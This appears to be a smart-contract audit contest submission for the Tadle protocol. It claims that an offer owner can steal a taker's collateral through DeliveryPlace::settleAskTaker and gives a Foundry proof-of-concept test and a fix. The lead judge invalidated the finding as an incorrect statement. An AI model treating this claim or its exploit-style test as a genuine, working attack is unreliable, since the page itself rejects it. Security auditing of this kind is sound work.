Tadle
Tadle
DeFiFoundry
27,750 USDC
View results
Previous Next
Submission Details
Severity: high
Invalid

Steal takers collateral

_frolic

Summary

The Bid offer owner/maker can call the DeliveryPlace::settleAskTaker function and steal the taker's funds.

Vulnerability Details

The DeliveryPlace::settleAskTaker function is used to settle a Bid offer ( sending the point tokens to the offer owner and the collateral to the taker). If called by the offer owner the point tokens are sent to the offer owner and the taker's collateral is also sent to the offer owner.

Impact

The taker will lose their collateral. This is especially beneficial for the offer owner if the collateral token has greater value then the point token.

POC

function test_create_bid_offer_2_turbo_usdc() public {
vm.startPrank(user);
​
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
0.01 * 1e18,
12000,
300,
OfferType.Bid,
OfferSettleType.Turbo
)
);
​
address offerAddr = GenerateAddress.generateOfferAddress(0);
​
vm.stopPrank();
​
vm.startPrank(user4);
preMarktes.createTaker(offerAddr, 500);
address stock1Addr = GenerateAddress.generateStockAddress(1);
vm.stopPrank();
​
vm.prank(user1);
systemConfig.updateMarket(
"Backpack",
address(mockPointToken),
0.01 * 1e18,
block.timestamp - 1,
3600
);
​
vm.startPrank(user);
mockPointToken.approve(address(tokenManager), 10000 * 10 ** 18);
uint256 userBalance0 = tokenManager.userTokenBalanceMap(
address(user),
address(mockUSDCToken),
TokenBalanceType.RemainingCash
);
deliveryPlace.settleAskTaker(stock1Addr, 500);
uint256 userBalance1 = tokenManager.userTokenBalanceMap(
address(user),
address(mockUSDCToken),
TokenBalanceType.RemainingCash
);
assert(userBalance1> userBalance0);
vm.stopPrank();
}

Tools Used

Manual analysis

Recommendations

Add access control to prevent the offer owner from calling DeliveryPlace::settleAskTaker.

Updates

Lead Judging Commences

0xnevi Lead Judge
about 1 year ago
0xnevi Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.